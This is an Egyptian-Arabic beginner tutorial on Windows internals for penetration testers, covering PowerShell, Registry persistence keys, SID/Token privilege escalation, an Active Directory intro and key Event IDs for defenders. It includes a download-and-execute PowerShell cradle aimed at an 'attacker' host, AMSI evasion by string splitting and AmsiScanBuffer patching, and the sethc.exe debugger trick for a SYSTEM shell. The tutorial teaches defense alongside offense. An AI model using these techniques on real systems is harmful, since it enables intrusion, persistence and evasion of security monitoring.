الأساسياتأساسي60mL04

Windows Fundamentals — الجوّة اللي محدش بيوريهالك

Registry و PowerShell و Services، وأول لمسة في Active Directory

#Windows#PowerShell#Registry#AD#Beginner

ليه Windows مهم لو أنت Pentester؟

تعالى نسأل من الأساس.

إنت بتهاجم لينكس على HackTheBox من سنتين.. حلو.

طب أول engagement هتدخله في الواقع، هتلاقي إيه؟

هتلاقي 200 جهاز Windows.. كلهم مربوطين على Domain Controller.. والشغل الحقيقي مش على البورت 22، الشغل على 445 و389 و5985.

أعرف واحد — صديق ليا — قعد يتعلم Red Team سنة كاملة على لينكس. لما اتحط في أول AD lab، بقى على ادهم. مش لإنه عيّل، لإنه ما فهمش Token ولا SID ولا الـ Registry. كل هجوم Privesc بيعدي عليه زي اللغز. قعد يـ copy-paste من المدونات من غير ما يفهم بيحصل إيه.

Windows مش OS تاني. Windows عالم لوحده.

75% من أجهزة المؤسسات في الدنيا كلها.. ومعظم الـ Active Directory في الكوكب. أي APT بتاكل عيش بتدخل Windows في مرحلة من المراحل. لو ما فهمتش Windows من جوّه، إنت بتلعب بإيد واحدة.

اللي هنغطّيه
الـ Registry وأماكن الـ persistence الحقيقية، PowerShell كسلاح (وقصة AMSI)، نموذج SID/Token، وأهم Event IDs اللي لازم تعرفها بظهر قلب، ومقدمة AD.

هيكل النظام

text
C:\
├── Windows\         ← نظام التشغيل
│   ├── System32\    ← ملفات حيوية، DLLs، executables (cmd, powershell)
│   └── SysWOW64\    ← 32-bit على نظام 64-bit
├── Program Files\   ← برامج مثبتة (64-bit)
├── Program Files (x86)\  ← برامج 32-bit
├── Users\           ← مجلدات المستخدمين
│   └── alice\
│       ├── AppData\Local\        ← بيانات تطبيق (Cache, history)
│       ├── AppData\Roaming\      ← تتنقّل مع المستخدم في AD
│       └── Documents\
├── ProgramData\     ← بيانات مشتركة (مرئي مخفياً)
└── Recycle Bin

PowerShell — السلاح الأهم.. وقصة AMSI

PowerShell مش "cmd بنكهة جديدة".

دي لغة برمجة كاملة، بوصول مباشر لـ .NET، يعني عندك كل الـ Win32 API في إيدك. كل أداة pentest كبيرة على Windows اتكتبت بيها: Empire، PowerSploit، Nishang، PowerView. ولسة.

طب تعالى أحكيلك القصة الحقيقية.

قبل 2015، كان PowerShell جنة المهاجمين.

IEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1') — سطر واحد، الـ payload نزل في الذاكرة، اشتغل، وما لمسش الديسك. الـ AV ساعتها كان أعمى. خالص.

كل Red Team operator عاش الفترة دي افتكر إنه عبقري. كان بيـ bypass كل حاجة بسطر بايثون.. آسف.. PowerShell.

وبعدين جت Microsoft بـ AMSI (Antimalware Scan Interface) في Windows 10.

الفكرة بسيطة وعبقرية: قبل ما PowerShell ينفّذ أي سكربت، بيبعت النص للـ AV scanner. ال AV بيقرا النص — مش الـ binary — ويقرر يسمح ولا لأ. حتى لو السكربت في الذاكرة بس، AMSI بيشوفه.

الـ Red Teamers اتلطشوا. وفجأة كل أدواتهم القديمة بطّلت تشتغل.

فبدأ سباق التسلّح:

  • Obfuscation — تكسير الكلمات اللي AMSI بيـ flag عليها (Invoke-Mimikatz بقت In'+'voke-Mim'+'ikatz).
  • AMSI Bypass — patching الدالة AmsiScanBuffer في الذاكرة عشان ترجع "clean" دايماً.
  • Constrained Language Mode — لو الـ Defender شدّاد، بيمنع .NET reflection أصلاً.

الدرس هنا: PowerShell سلاح ذو حدّين. لو إنت Blue، فعّل Script Block Logging (Event 4104) وModule Logging. AMSI لوحده مش كفاية.

الواقع vs المفروض: المفروض كل المؤسسات مفعّلاها. الواقع.. أغلب الجهات اللي شفتها بتكتفي بـ "Windows Defender شغّال" وخلاص.

$ Get-ChildItem C:\\Users # ls المعادل
$ Get-Process # العمليات
$ Get-Service # الخدمات
$ Get-LocalUser # المستخدمون المحليون
$ Get-NetTCPConnection # المنافذ المفتوحة
$ # تنفيذ أمر عن بُعد (يحتاج WinRM):
$ Invoke-Command -ComputerName PC1 -ScriptBlock { whoami }
$ # تنزيل ملف:
$ Invoke-WebRequest http://10.10.10.5/file.zip -OutFile C:\\Temp\\f.zip
$ # اكتشف policy تنفيذ السكربتات:
$ Get-ExecutionPolicy
$ # تجاوز للجلسة الحالية فقط:
$ Set-ExecutionPolicy Bypass -Scope Process

Registry — قاعدة بيانات النظام كلها (وكنز الـ Persistence)

الـ Registry هو المكان اللي ويندوز بيكتب فيه كل إعداد. كل setting في النظام. كل برنامج. كل user.

اعتبره قاعدة بيانات الـ OS كاملة، مفتوحة قدامك، شغّالة في الذاكرة:

text
HKEY_LOCAL_MACHINE (HKLM)   ← إعدادات النظام كله
  └── SOFTWARE
  └── SYSTEM
  └── SECURITY (مقفل افتراضياً)
HKEY_CURRENT_USER (HKCU)    ← إعدادات المستخدم الحالي
HKEY_CLASSES_ROOT (HKCR)    ← ربط الملفات بالبرامج
HKEY_USERS (HKU)            ← كل المستخدمين
$ # قراءة قيمة:
$ Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion' | Select ProductName
$ # مفاتيح مهمة في الأمن:
$ # 1) Run keys — استمرار للبرامج:
$ Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run'
$ Get-ItemProperty 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run'
$ # 2) UAC settings:
$ Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System'
ليه الـ Run keys مهمة (والقصة الكاملة)

تعالى نمشي على أهم 3 أماكن persistence في الـ Registry — اللي بيستخدمها أي malware من زمان لحد APT41:

1) Run / RunOnceHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. أي قيمة هنا = برنامج يشتغل لما الـ user يـ login. عبيط؟ آه. لسة شغّال؟ آه.

2) AppInit_DLLsHKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs. أي DLL هنا بيتحقن في كل عملية بتـ load user32.dll. يعني تقريباً كل عملية GUI. مايكروسوفت قفلتها افتراضياً من Win8، بس لسة بتلاقيها مفتوحة في بيئات قديمة.

3) Image File Execution Options (IFEO) — تقدر تخلّي أي EXE يشغّل EXE تاني. الـ trick القديم: تحط Debugger=cmd.exe تحت sethc.exe، وبعدين تضغط Shift خمس مرات في شاشة الـ login = SYSTEM shell.

اللي الـ Blue هيشوفه — لو Sysmon مفعّل بـ config محترم (SwiftOnSecurity أو Olaf): Event ID 12/13/14 على أي تعديل في الـ Registry تحت المسارات دي. والـ Autoruns بيلملم الـ ~250 مكان persistence في شاشة واحدة. لو إنت DFIR ومش بتفتح Autoruns الأول، إنت بتعك.

نموذج الأمان — SID و Token (افهمها زي بطاقة المخابرات)

تعالى أوريك الفكرة بتشبيه بسيط.

تخيل المخابرات.

كل ضابط عنده بطاقة هوية فيها رقمه القومي + الفرع التابع له + الرتبة + الصلاحيات اللي يقدر يدخل بيها أوضة من الأوض. البطاقة دي هي اللي بتحدد يقدر يدخل فين، لا الاسم ولا الوش.

دي بالظبط الـ Access Token في Windows.

  • SID (Security Identifier) = الرقم القومي. شكله S-1-5-21-...-1001. ما بيتكررش، حتى لو حذفت اليوزر وعملت واحد بنفس الاسم — الـ SID الجديد هيبقى مختلف.
  • Token = البطاقة كلها. فيها SID اليوزر + SIDs بتاعة كل المجموعات اللي هو فيها + الـ Privileges (زي SeDebugPrivilege، SeImpersonatePrivilege).
  • كل process بيشتغل ومعاه token. الـ kernel بيقرر "ينفع يفتح الملف ده ولا لأ" بناءً على الـ token، مش بناءً على اسم اليوزر.

ليه الكلام ده مهم لو إنت بتعمل privesc؟

لإن نص هجمات الـ Privilege Escalation على Windows مبنية على فكرة واحدة: سرقة أو تعديل التوكن.

  • Token Impersonation — لو معاك SeImpersonatePrivilege (وأغلب service accounts معاهم)، تقدر تـ impersonate توكن أي عملية تانية. ده أساس Potato بكل أنواعه (Hot/Rotten/Juicy/Rogue).
  • Pass-the-Token — في AD، التوكن فيه TGT بتاع Kerberos. لو نسخته، إنت اليوزر ده.
  • UAC Bypass — UAC مش security boundary حقيقي، ده "split token" بس. في كذا 30+ bypass موثّقة في UACME.

لو ما فهمتش الـ Token model، هتفضل تنفّذ هجمات وأنت مش فاهم بتحصل ليه. ولما الـ Defender يقفل الباب الواضح، مش هتلاقي الباب التاني.

- طب ينفع أحفظ أوامر Mimikatz وخلاص؟؟

كنت مستنيك تسأل ده يا مستجد. متوقّع. آه ينفع — لمدة أسبوع، لحد ما الـ EDR يقفل الـ command line ده. اللي بيعرف Token model بيلف على 5 طرق تانية. اللي حافظ commands بيقعد يدوّر على blog post جديد.

اوعى تعتمد على أمر. اعتمد على الفهم.

العمليات والخدمات

$ tasklist # كل العمليات
$ tasklist /svc # العمليات + الخدمات داخلها
$ taskkill /F /PID 1234 # اقتل عملية
$ # الخدمات:
$ sc query # كل الخدمات
$ sc qc spooler # تفاصيل خدمة
$ Get-Service spooler # PowerShell
$ Stop-Service spooler # أوقف
$ # ابحث عن عمليات بأسماء غير معروفة:
$ Get-Process | Where-Object { $_.Path -notlike 'C:\\Windows\\*' -and $_.Path -notlike 'C:\\Program Files*' }

حسابات ومستخدمون

$ whoami # من أنا
$ whoami /priv # صلاحياتي
$ whoami /groups # مجموعاتي
$ net user # كل المستخدمين المحليين
$ net user alice # تفاصيل مستخدم
$ net localgroup Administrators # أعضاء Administrators
$ # هل أنا في AD؟
$ echo %USERDOMAIN% # اسم النطاق (أو اسم الجهاز إذا غير منضم)
$ nltest /domain_trusts # نطاقات موثوقة

الشبكة على Windows

$ ipconfig /all # كل الإعدادات
$ netstat -ano # المنافذ + PID المالك
$ arp -a # ARP cache
$ route print # جدول التوجيه
$ # DNS:
$ nslookup example.com
$ Resolve-DnsName example.com # PowerShell
$ # اتصالات SMB:
$ net use # مشاركات أنا متصل بها
$ net view \\\\10.10.10.5 # مشاركات على جهاز بعيد

مقدمة في Active Directory

AD = خدمة directory مركزية تدير المستخدمين، الحواسيب، الصلاحيات في شبكة المؤسسة. مفاهيم رئيسية:

  • Domain — مجموعة من الموارد تتشارك قاعدة بيانات (مثل corp.local).
  • Domain Controller (DC) — الخادم الذي يحمل قاعدة البيانات.
  • OU (Organizational Unit) — مجلد منطقي لتنظيم.
  • GPO (Group Policy Object) — سياسات تُطبق آلياً.
  • Kerberos — بروتوكول المصادقة الافتراضي.
  • NTLM — البروتوكول القديم، ما زال يُستخدم. مصدر كثير من الهجمات.
$ # على جهاز منضم لـ AD:
$ Get-ADUser -Identity alice # تفاصيل مستخدم (يحتاج RSAT)
$ Get-ADComputer -Filter * # كل الحواسيب
$ Get-ADGroup 'Domain Admins' -Properties Members
$ # بدون RSAT — فقط أوامر الـ net:
$ net user /domain alice
$ net group 'Domain Admins' /domain

Event Logs — الأرقام اللي لازم تحفظها بظهر قلب

تعالى أحكيلك حكاية حصلت فعلاً.

محلل في SOC في جهة كبيرة — مش هقول مكان — كان عامل dashboard ظريف بيراقب فيه Event 4624 (تسجيل دخول ناجح). كل يوم بيبص على القايمة، يشوف "كله تمام"، ويقفل.

المهاجم دخل من حساب service account.. عمل psexec على 12 جهاز.. سرق hash الـ KRBTGT.. وعمل Golden Ticket.

الـ 4624 كانت كلها "ناجحة". طبعاً ناجحة، هو ماشي بتذكرة Kerberos صحيحة. الدنيا كلها "ناجحة".

اللي فاته: 4688 — process creation. كان هيشوف cmd.exe بتنشأ من services.exe على 12 جهاز خلال 4 دقايق. ده مش طبيعي.

الدرس: لو بتراقب 4624 لوحده، إنت مش بتراقب. إنت بتعد. خليني أديك القائمة اللي لازم تتبصمل عليها:

text
Security log:
  4624  ← تسجيل دخول ناجح
  4625  ← تسجيل دخول فاشل
  4672  ← تسجيل دخول بصلاحيات خاصة
  4688  ← عملية جديدة بدأت
  4720  ← مستخدم جديد أُنشئ
  4732  ← عضو جديد أُضيف لمجموعة محلية
  4768/4769  ← Kerberos TGT/TGS

System log:
  7045  ← خدمة جديدة ثُبّتت (مهم — كثير من الـ malware)
  7036  ← خدمة بدأت/توقفت

PowerShell logs (إذا فُعّلت):
  4103/4104  ← تنفيذ سكربت / module logging
$ # اقرأ آخر 10 محاولات دخول فاشلة:
$ Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4625]]" -MaxEvents 10
$ # آخر الخدمات الجديدة:
$ Get-WinEvent -LogName System -FilterXPath "*[System[EventID=7045]]" -MaxEvents 5

أدوات Sysinternals — يجب أن تعرفها

Process Explorer
بديل Task Manager بآلاف المرات. يُظهر شجرة العمليات، الـ DLLs، التواقيع.
Autoruns
يستعرض كل مكان استمرار محتمل (~250 موقع). أهم أداة للـ DFIR.
Sysmon
يسجل أحداث تفصيلية (process create، DNS، ملفات). أساس detection الناضج.
Procmon
يلتقط كل I/O — أفضل أداة لمعرفة "ما يفعله البرنامج فعلاً".
PsExec
تنفيذ أوامر عن بُعد — أداة شرعية يساء استخدامها كثيراً.
TCPView
netstat بواجهة حية.

ممارسة

  1. افتح PowerShell على Windows VM، نفّذ كل أمر فوق.
  2. حمّل Sysinternals Suite، شغّل Autoruns، وشوف كم مكان النظام بيبدأ منه فعلاً.
  3. في Event Viewer، دوّر على آخر 4624 — هتلاقي نفسك.
  4. اقرأ Get-Help — مكافئ man: Get-Help Get-Process -Examples.
  5. افتح whoami /all، وحاول تطابق كل SID مع المجموعة بتاعته. ده هيبقى مرجعك.

الخلاصة الناشفة

Windows مش أصعب من لينكس.

هو بس مختلف.

لو فهمت الـ SID، والـ Token، والـ Registry — هتفهم كل هجوم تاني.

كل Privesc, كل persistence, كل lateral movement, كل AD attack بتيجي بعدين — كلها مبنية على نفس الأساس ده.

اللي بيحفظ أوامر من غير ما يفهم النموذج، بيقف عند أول جهاز ما يـ pop عليه shell. واللي فاهم النموذج، بيدخل على الجهاز ويعرف فوراً يدوّر فين.

اكتبها على كشكول الـ lab: SID + Token + Registry = نص Windows. الباقي تفاصيل.

كن من التانيين.